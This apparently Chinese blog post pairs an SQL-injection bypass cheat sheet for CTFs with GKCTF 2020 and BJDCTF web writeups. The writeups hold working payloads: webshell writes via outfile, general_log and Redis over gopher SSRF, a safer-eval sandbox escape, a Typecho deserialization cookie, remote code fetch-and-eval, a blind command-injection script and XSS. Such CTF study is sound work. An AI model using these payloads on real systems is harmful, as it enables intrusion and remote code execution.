CTF中SQL注入绕过拦截和过滤的一些函数和语法和常见考点

[TOC]

sql就那么多考点,收集了一些ctf中遇到的绕过过滤和拦截的函数和语法,持续收集中。

比较

if()

1
if((语句),1,sleep(100))

如果子语句返回值为Truely,则第一个结果,否则第二个结果

strcmp()

1
strcmp((字符串1),(字符串2))

如果两个字符串相等,返回0;如果字符串1小于字符串2(ascii意义上的),返回-1;否则,返回1

ascii(字符串) - ascii(字符串)

1
ascii('a') - ascii('a') 为0,利用这个0进行报错,时间,order by(减去1得到-1,使得顺序变成倒序) 等

‘字符串’ < ‘字符串1’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [(none)]> select 'b'<'c';
+---------+
| 'b'<'c' |
+---------+
| 1 |
+---------+
1 row in set (0.000 sec)

MariaDB [(none)]> select 'b'<'d';
+---------+
| 'b'<'d' |
+---------+
| 1 |
+---------+
1 row in set (0.000 sec)

MariaDB [(none)]> select 'b'<'b';
+---------+
| 'b'<'b' |
+---------+
| 0 |
+---------+
1 row in set (0.000 sec)

MariaDB [(none)]> select 'b'<'a';
+---------+
| 'b'<'a' |
+---------+
| 0 |
+---------+
1 row in set (0.000 sec)

在实际题目中可能需要给左边的数值(注出来的字符串)套一层binary,否则语句可能报错(编码问题),并且套binary可以注大小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [(none)]> select binary('B')<'a';
+-----------------+
| binary('B')<'a' |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.000 sec)

MariaDB [(none)]> select binary('b')<'a';
+-----------------+
| binary('b')<'a' |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.000 sec)

运算符 + - * / ^

1
2
3
order by id*-1 等于 order by id desc
sth - sth 为 0,利用这个0
1 ^ 1 为 0

=

1
2
3
'a' = 'a' 为 1
ascii('a') = 97 为 1
'a' = 0x61 为 1

regexp / rlike

1
select count(1) from users where password regexp ’^sth'

rlike等同于regexp

like

1
select count(1) from users where password like 'a%'

无字段名盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
MariaDB [test]> select * from user_table;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
+----------+----------+
1 row in set (0.000 sec)

MariaDB [test]> select ((SELECT 'admin','abcdfg')<(SELECT * FROM user_table));
+--------------------------------------------------------+
| ((SELECT 'admin','abcdfg')<(SELECT * FROM user_table)) |
+--------------------------------------------------------+
| 0 |
+--------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select ((SELECT 'admin','abcdff')<(SELECT * FROM user_table));
+--------------------------------------------------------+
| ((SELECT 'admin','abcdff')<(SELECT * FROM user_table)) |
+--------------------------------------------------------+
| 1 |
+--------------------------------------------------------+
1 row in set (0.000 sec)

可配合where username = 'admin',limit 1

延时

sleep()

1
2
sleep(秒数)
sleep(database() < 'a')

benchmark()

1
benchmark(100000,md5(1))

视情况修改benchmark的次数,有些服务器要等上一个请求完成了才会处理下一个请求,次数太大会卡住甚至卡死,太小会没有延时

heavy query

1
(SELECT count(*) FROM information_schema.columns A,information_schema.columns D, information_schema.columns B, information_schema.SCHEMATA C)

同样视情况,有的时候多union/join几次都能实现延时的效果

get_lock()

1
get_lock('key',秒数)

get_lock需要手动开启才能用,一般题目里遇到这个就是考这个点了

报错

updatexml() / extractvalue()

1
2
MariaDB [(none)]> select updatexml("~",concat("~",(select version()),"~"),"~");
ERROR 1105 (HY000): XPATH syntax error: '~10.3.20-MariaDB-1~'

updatexml的语句似乎有优先级,不能实现”一边报错一边延时盲注”的情况

1
2
3
MariaDB [(none)]> select updatexml("~",concat("~",(select if(1,sleep(10),2)),"~"),"~");
ERROR 1105 (HY000): Only constant XPATH queries are supported
#低版本上报错还是XPATH syntax error 而且是立刻报错,没有延时

只能回显前32个字符(包括那个~),需要配合substr爆全文

exp()

1
2
3
4
5
6
7
8
9
10
MariaDB [(none)]> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.000 sec)

MariaDB [(none)]> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

可以实现”一边报错一边延时”,可以用于insert语句不执行插入进行盲注

1
2
3
MariaDB [(none)]> select exp(if(1,sleep(5),2)+710);
#延时了5秒
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(if(1,sleep(5),2) + 710)'

但是不能报错注入

1
2
3
4
5
6
7
8
9
10
MariaDB [(none)]> select exp(ascii(version()));
+-----------------------+
| exp(ascii(version())) |
+-----------------------+
| 1.9073465724950998e21 |
+-----------------------+
1 row in set (0.000 sec)

MariaDB [(none)]> select exp(ascii(version())+1024);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(ascii(version()) + 1024)'

数据处理 / 字符串截取

hex()

1
2
3
4
5
6
7
MariaDB [(none)]> select hex('a') = '61';
+-----------------+
| hex('a') = '61' |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.000 sec)

ascii()

1
2
3
4
5
6
7
MariaDB [(none)]> select ascii('a') = 97;
+-----------------+
| ascii('a') = 97 |
+-----------------+
| 1 |
+-----------------+
1 row in set (0.000 sec)

left() / right()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
MariaDB [test]> select left('abcdefg',1);
+-------------------+
| left('abcdefg',1) |
+-------------------+
| a |
+-------------------+
1 row in set (0.000 sec)

MariaDB [test]> select right('abcdefg',1);
+--------------------+
| right('abcdefg',1) |
+--------------------+
| g |
+--------------------+
1 row in set (0.000 sec)

MariaDB [test]> select left('abcdefg',3);
+-------------------+
| left('abcdefg',3) |
+-------------------+
| abc |
+-------------------+
1 row in set (0.000 sec)

MariaDB [test]> select right(left('abcdefg',3),1);
+----------------------------+
| right(left('abcdefg',3),1) |
+----------------------------+
| c |
+----------------------------+
1 row in set (0.000 sec)

right(left(语句,位数),1) = substr(语句,位数,1)

substr() / mid() / substring()

1
The MID() function extracts a substring from a string (starting at any position). Note: The MID() and SUBSTR() functions equals the SUBSTRING() function.

binary()

1
select binary('a') < 'a'; #用于区分大小写,高版本字符串比较不加这个可能会报编码错误

cast()

1
cast("0" as JSON) #用于比较的时候区分大小写

concat() /group_concat()

concat用于连接字符串 concat('1','2','3')

group_concat用于连接多行中的列 group_concat(column_name) from columns

语句 / 语法

无字段名union回显注入

1
2
3
4
5
6
7
8
9
MariaDB [test]> select 1,2 union select * from user_table;
+-------+--------+
| 1 | 2 |
+-------+--------+
| 1 | 2 |
| admin | abcdfg |
+-------+--------+
2 rows in set (0.000 sec)
select 1,2 where 0 union select * from user_table;

having column is null

group by column with rollup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
MariaDB [test]> select * from user_table;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
+----------+----------+
1 row in set (0.000 sec)

MariaDB [test]> select * from user_table group by 1 with rollup;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
| NULL | abcdfg |
+----------+----------+
2 rows in set (0.000 sec)

MariaDB [test]> select * from user_table group by 1,2 with rollup;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
| admin | NULL |
| NULL | NULL |
+----------+----------+
3 rows in set (0.000 sec)

MariaDB [test]> select * from user_table group by 1,2 with rollup having username is null and password is null;
+----------+----------+
| username | password |
+----------+----------+
| NULL | NULL |
+----------+----------+
1 row in set (0.000 sec)

可用来产生一个password是null的结果,配合php中if($_POST['password'] === $result['password'])(不传password就是null,传了是空字符串)绕过登录

alter rename create drop等

用于堆叠注入,直接把表给你🐏了

explain

show tables / show create … / show columns from table

set + prepare stmt from + execute (Prepared Statement)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MariaDB [mysql]> set @sth = "select version()";
Query OK, 0 rows affected (0.000 sec)

MariaDB [mysql]> prepare stmt from @sth;
Query OK, 0 rows affected (0.000 sec)
Statement prepared

MariaDB [mysql]> execute stmt;
+-------------------+
| version() |
+-------------------+
| 10.3.20-MariaDB-1 |
+-------------------+
1 row in set (0.000 sec)

存储过程

1
2
3
4
5
6
#只有堆叠注入可以直接写procedure,控制台里需要先将delimiter设成别的东西
create procedure `sth`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
call procedure `sth`(@myvar,'select version');prepare stmt from @myvar;execute stmt;

order by / group by 判断列数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
MariaDB [test]> select * from user_table;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
+----------+----------+
1 row in set (0.000 sec)

MariaDB [test]> select * from user_table order by 1;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
+----------+----------+
1 row in set (0.000 sec)

MariaDB [test]> select * from user_table order by 2;
+----------+----------+
| username | password |
+----------+----------+
| admin | abcdfg |
+----------+----------+
1 row in set (0.000 sec)

MariaDB [test]> select * from user_table order by 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'

内置 数据库 / 表

information_schema

sys

mysql>=5.7

mysql.innodb_table_stats

逃逸 / 闭合

直接逃逸

1
"select * from user where id = $id"

直接拼接语句

引号逃逸

1
"select * from user where username = '$username'"

闭合引号后逃逸,可能需要闭合或注释原来的引号

宽字节

%df

需要存在编码不同

pdo也能用宽字节,pdo默认开启堆叠语句

转义前一个字段处的引号逃逸

1
2
3
4
"select * from user where username = '$username' and password = '$password'"
$username = "\"
$password = “or 1 #”
则变成了 select * from user where username = '\' and password = ' or 1 # '

一般用在过滤或拦截引号的情况

配合客制的过滤转义进行逃逸

1
比如过滤引号,但是将a变成',那么用a代替'进行逃逸

其他

除以零 => 获取一个null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [(none)]> select 1/0;
+------+
| 1/0 |
+------+
| NULL |
+------+
1 row in set, 1 warning (0.000 sec)

MariaDB [(none)]> show warnings;
+---------+------+---------------+
| Level | Code | Message |
+---------+------+---------------+
| Warning | 1365 | Division by 0 |
+---------+------+---------------+
1 row in set (0.000 sec)

单引号,双引号,0x

mysql支持单引号,双引号作为字符串,也支持0x开头的十六进制串作为字符串(注意,他是字符串,不是数字了)

但别的sql不是全都支持

注释,空格

1
2
3
4
5
6
7
8
9
10
11
/**/
/*sth*/
#
-- a (-- 后面必须有一个空格才生效)
;-- a
;#
/*!语句*/(内联注释,国内ctf用得到的很少)
/*!40101 语句 */(只在这个版本和以上的版本生效的内联注释)
(空格)
\n \r \t (替代空格)
(注释替代空格)

大小写绕过

1
sElECt

双写绕过

1
'sselectelect'.replace("select","")

`

数字开头的字段/数据库/表名必须用`进行包裹,不是数字开头的无所谓

load_file()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MariaDB [mysql]> show variables like "secure_file%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.001 sec)
#只有secure_file_priv是空或者包含这个目录才可以读取
MariaDB [mysql]> select load_file("/flag");
+---------------------------+
| load_file("/flag") |
+---------------------------+
| THIS_IS_FLAG_..^a$*[a]{} |
+---------------------------+
1 row in set (0.000 sec)

into outfile

1
2
3
4
5
6
7
MariaDB [mysql]> select "<?php phpinfo(); ?>" into outfile "/var/www/html/shell.php";
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> Ctrl-C -- exit!
Aborted
[email protected]:~# cat /var/www/html/shell.php
<?php phpinfo(); ?>

general_log

1
2
3
4
5
6
7
8
9
10
11
show variables like '%general%';  #查看配置
set global general_log = on; #开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php phpinfo();?>' #写入内容

[email protected]:~# cat /var/www/html/1.php
/usr/sbin/mysqld, Version: 10.3.20-MariaDB-1 (Debian buildd-unstable). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
200525 14:47:24 41 Query select '<?php phpinfo();?>'
200525 14:47:27 41 Quit

Python使使用requests的脚本经过抓包软件

给requests.get/post函数传入proxies参数可以指定经过的daili服务器地址,方便查看脚本具体发出了什么。

1
2
3
4
5
#coding:utf8
import requests
proxies = {'http':'http://127.0.0.1:4476','https':'http://127.0.0.1:4476'} #4476是fiddler端口

requests.get("http://example.com",headers={"test":"test_header"},proxies=proxies)

image-20200525131358738

或者可以给requests的Session设置daili,所有该Session的get/post请求如果没有特殊指定都会走这个daili:

1
2
3
4
5
6
#coding:utf8
import requests
r = requests.Session()
r.proxies = {'http':'http://127.0.0.1:4476','https':'http://127.0.0.1:4476'}

r.get("http://example.com",headers={"test":"test_header"})

GKCTF web部分的writeup

web1 签到

1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

得到phpinfo,ban了一堆命令执行函数,但没有open_basedir,没有ban readfile等

1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=dmFyX2R1bXAoc2NhbmRpcigiLyIpKTs=

得到flag需要执行/readflag

PHP Version 7.3.18,上nday一把梭

/var/www/html没有写入权限,把nday放到远程服务器上,fopen远程服务器拿到字符串,eval之

1
eval(file_get_contents("http://6073-48b235c6-49f5-454c-a672-92d70e856fc7/web1help.html"));

但是nday用这种方式跑不通,不知道为什么,用传统的tmp写shell包含

或者转换一下shell用菜刀连

然后写payload到/tmp下去包含

1
2
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1JFUVVFU1RbJ2EnXSk7
#连接密码a
1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=aW5jbHVkZSAiL3RtcC9leHBsb2l0LnBocCI7

同一个bug,换了一个nday跑通了,事实证明realworld pwn都是玄学

1
https://www.exploit-db.com/exploits/47462

web2 cve签到

随便访问个什么,http回复头里提示Tips: Host must be end with '123'

1
http://ee6116c9-9cae-4ed4-9c08-2e15f6b87783.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

就直接出了?

web3 老八商城

image-20200524122805957

存在log泄露

/runtime/log/202005/16.log

登录路径是admin.php,用户名和密码百度可以搜到

image-20200524122834273

http://www.nctry.com/1660.html

1
http://47d464c1-87d8-4b05-b2cf-d83b1a2147d6.node3.buuoj.cn/public/static/index/default/try.php

getshell,发现flag无权限访问,存在root权限的后门服务,修改之用来读取flag。

image-20200524133428034

image-20200524133517610

image-20200524133613763

image-20200524133744276

image-20200524133753622

image-20200524133824084

web几 EzWeb

注释给提示?secret,加了参数给了一个ifconfig输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--?secret-->
eth0 Link encap:Ethernet HWaddr 02:42:ad:16:a7:0a
inet addr:173.22.167.10 Bcast:173.22.167.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:39 errors:0 dropped:0 overruns:0 frame:0
TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6552 (6.5 KB) TX bytes:7566 (7.5 KB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:40 errors:0 dropped:0 overruns:0 frame:0
TX packets:40 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2440 (2.4 KB) TX bytes:2440 (2.4 KB)
1
2
http://cc7700d7-2f14-4b29-833a-cd5eecd0b071.node3.buuoj.cn/index.php?url=173.22.167.10&submit=%E6%8F%90%E4%BA%A4
http://cc7700d7-2f14-4b29-833a-cd5eecd0b071.node3.buuoj.cn/index.php?url=127.2.3.3&submit=%E6%8F%90%E4%BA%A4

得到了本页面的代码,说明是ssrf

根据结果后面那个1 和请求特征 判断是关闭了user-agent的curl

1
http://c89decb9-9a57-4af9-b951-40ee25b93c59.node3.buuoj.cn/index.php?url=file%3A%2Fetc%2Fpasswd&submit=%E6%8F%90%E4%BA%A4

可以访问/etc/passwd,但是curl本身好像就读不了/proc里的东西,本地测试也不行

读/var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

fuzz出来是.11的6379 redis,/etc/hosts也没有提示,逗我呢?

.11上还有web服务器,redis写php webshell

1
2
gopher://173.22.167.11:6379/%5f%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%30%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%25%34%30%65%76%61%6c%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%62%25%32%37%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41
#密码是b
1
http://c89decb9-9a57-4af9-b951-40ee25b93c59.node3.buuoj.cn/index.php?url=173.22.167.11%2Fshell.php%3Fb%3Dreadfile%28%22%2Fflag%22%29%3B&submit=%E6%8F%90%E4%BA%A4

web几 EzNode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});


{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}

https://snyk.io/vuln/SNYK-JS-SAFEREVAL-534901

https://stackoverflow.com/questions/3468607/why-does-settimeout-break-for-large-millisecond-delay-values

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn/eval?delay=2147483648 HTTP/1.1
Host: 5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn
Connection: keep-alive
Content-Length: 751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn
Referer: http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
X-Forwarded-For: 172.25.0.11

e=(function+()+%7B%0A++const+f+%3D+Buffer.prototype.write%3B%0A++const+ft+%3D+%7B%0A++++length%3A+10%2C%0A++++utf8Write()%7B%0A%0A++++%7D%0A++%7D%3B%0A++function+r(i)%7B%0A++++var+x+%3D+0%3B%0A++++try%7B%0A++++++x+%3D+r(i)%3B%0A++++%7Dcatch(e)%7B%7D%0A++++if(typeof(x)!%3D%3D'number')%0A++++++return+x%3B%0A++++if(x!%3D%3Di)%0A++++++return+x%2B1%3B%0A++++try%7B%0A++++++f.call(ft)%3B%0A++++%7Dcatch(e)%7B%0A++++++return+e%3B%0A++++%7D%0A++++return+null%3B%0A++%7D%0A++var+i%3D1%3B%0A++while(1)%7B%0A++++try%7B%0A++++++i%3Dr(i).constructor.constructor(%22return+process%22)()%3B%0A++++++break%3B%0A++++%7Dcatch(x)%7B%0A++++++i%2B%2B%3B%0A++++%7D%0A++%7D%0A++return+i.mainModule.require(%22child_process%22).execSync(%22cat /flag%22).toString()%0A%7D)()

一把梭,爷就喜欢nday题

Web几 Node-Exe

安装包和etcher的差不多,直接可以解压

对resources/下的app.asar进行解包

https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file

1
2
3
4
5
6
npm install -g asar
#或 cnpm install -g asar #取决于哪个更快
#解包
npx asar extract app.asar app
#打包
asar pack app app.asar

在合适的位置添加打开调试工具窗体.openDevTools();

image-20200524135254093

打包,触发自己的代码,触发调试工具

image-20200524135311934

image-20200524135634370

image-20200524135831298

应该就是关于token和timestamp怎么计算的

下xhr断点

image-20200524135902575

可以看见调用栈

image-20200524135945550

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
methods: {
encrypt: function(e, i, t) {
var o = this;
return c()(a.a.mark((function n() {
return a.a.wrap((function(o) {
for (; ; )
switch (o.prev = o.next) {
case 0:
return o.abrupt("return", new s.a((function(o) {
var n = p.a.createCipheriv("aes-128-cbc", e, i)
, r = n.update(t, "utf8", "binary");
r += n.final("binary"),
o(r = new Buffer.from(r,"binary").toString("hex"))
}
)));
case 1:
case "end":
return o.stop()
}
}
), n, o)
}
)))()
},
makeToken: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o, r;
return a.a.wrap((function(t) {
for (; ; )
switch (t.prev = t.next) {
case 0:
return "31169fedc9a20ecf",
"d96adeefaa0102a9",
o = f()(n()(e)),
t.next = 5,
i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
case 5:
return r = t.sent,
t.abrupt("return", r);
case 7:
case "end":
return t.stop()
}
}
), t, i)
}
)))()
},
buyFlag: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o;
return a.a.wrap((function(t) {
for (; ; )
switch (t.prev = t.next) {
case 0:
return o = {
id: e,
timestamp: Date.parse(new Date)
},
t.t0 = i.$http,
t.t1 = i.url + "/buyflag",
t.t2 = o,
t.next = 6,
i.makeToken(o);
case 6:
t.t3 = t.sent,
t.t4 = {
token: t.t3
},
t.t5 = {
headers: t.t4
},
t.t6 = function(e) {
i.$Modal.info({
title: "购买结果",
content: e.data[0].flag
})
}
,
t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
case 11:
case "end":
return t.stop()
}
}
), t, i)
}

image-20200524140152797

chrome调试工具里的pprint js只能下断点不能编辑,有时间戳在XHR下断点来不及修改,在且只在buyFlag处下断点把flag类型改成3,得到不能购买的提示

image-20200524140657780

image-20200524140709589

把flag类型改成字符串3||1即可

所以这算啥,sql注入?弱类型?parseInt忽略附加内容?

image-20200524154843409

image-20200524154850668

Web几 EzTypeEcho

https://www.freebuf.com/vuls/152058.html

install里取消了session_start

image-20200524151956578

原先在finish处的反序列化加了判断,需要SESSION存在才能通过

image-20200524152033466

但是在start处也存在同样的反序列化,并且没有加判断,上面网址里的payload一把梭。

image-20200524152139247

1
2
3
4
5
6
7
8
9
10
11
GET http://b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn/install.php?start HTTP/1.1
Host: b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=77o478sbht9as7ibcof6v2nqu0; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE3OiJyZWFkZmlsZSgiL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE3OiJyZWFkZmlsZSgiL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=; __typecho_lang=zh_CN
Referer: http://b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn/install.php?

[GKCTF2020]问卷调查

[GKCTF2020]签到

BJDCTF 3rd web两道题writeup

Web-帮帮小红花

和i春秋圣诞赛的cut盲注类似,各种方法盲注flag即可,注意&要转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import requests
proxies={"http":"http://127.0.0.1:4476"}
pay = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-_"
result = ""
while True:
for i in pay:
try:
requests.get("http://183.129.189.60:10074/?imagin=grep \"^%s\" /flag %%26%%26 sleep 10"%(result+i),timeout=5,proxies=proxies)
continue;
except KeyboardInterrupt as e:
exit(0)
except:
result+=i
print(result)
break;

Web-notes

源码提示leak,访问www.zip得到源码

1
<body onpageshow=alert(1) >

子元素是body会被浏览器修补到body的属性里去,这样视同html>body有onpageshow属性

1
2
3
4
5
6
7
<body onpageshow=window['location'].href=/111/ >

(/l/+1)[1]

